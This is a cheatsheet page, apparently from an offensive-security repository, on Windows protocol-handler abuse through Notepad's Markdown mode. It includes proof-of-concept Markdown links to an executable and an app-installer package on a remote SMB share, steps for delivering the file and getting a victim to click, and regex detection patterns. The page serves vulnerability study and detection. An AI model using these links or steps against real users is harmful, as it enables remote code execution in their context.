repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
protocol-handler-shell-execute-abuse.mdMarkdown57 lines3.8 KiBsource raw download

title: "Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/protocol-handler-shell-execute-abuse.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/protocol-handler-shell-execute-abuse.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)#

Windows applications that render Markdown or HTML may hand clicked targets to ShellExecuteExW. Because ShellExecute dispatches registered URI schemes and file associations, a renderer needs an explicit allowlist rather than assuming every link is HTTP(S). The Notepad behavior below describes CVE-2026-20841 and should not be generalized to every renderer.[1][3]

ShellExecuteExW surface in Windows Notepad Markdown mode#

Payload considerations#

Minimal PoC Markdown#

[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>

Exploitation flow#

  1. Craft a .md file so Notepad renders it as Markdown.
  2. Embed a link using a dangerous URI scheme (file:, ms-appinstaller:, or any installed handler).
  3. Deliver the file (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB or similar) and convince the user to open it in Notepad.
  4. On click, the normalized link is handed to ShellExecuteExW and the corresponding protocol handler executes the referenced content in the user’s context.[1][2]

Detection ideas#

(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}

References#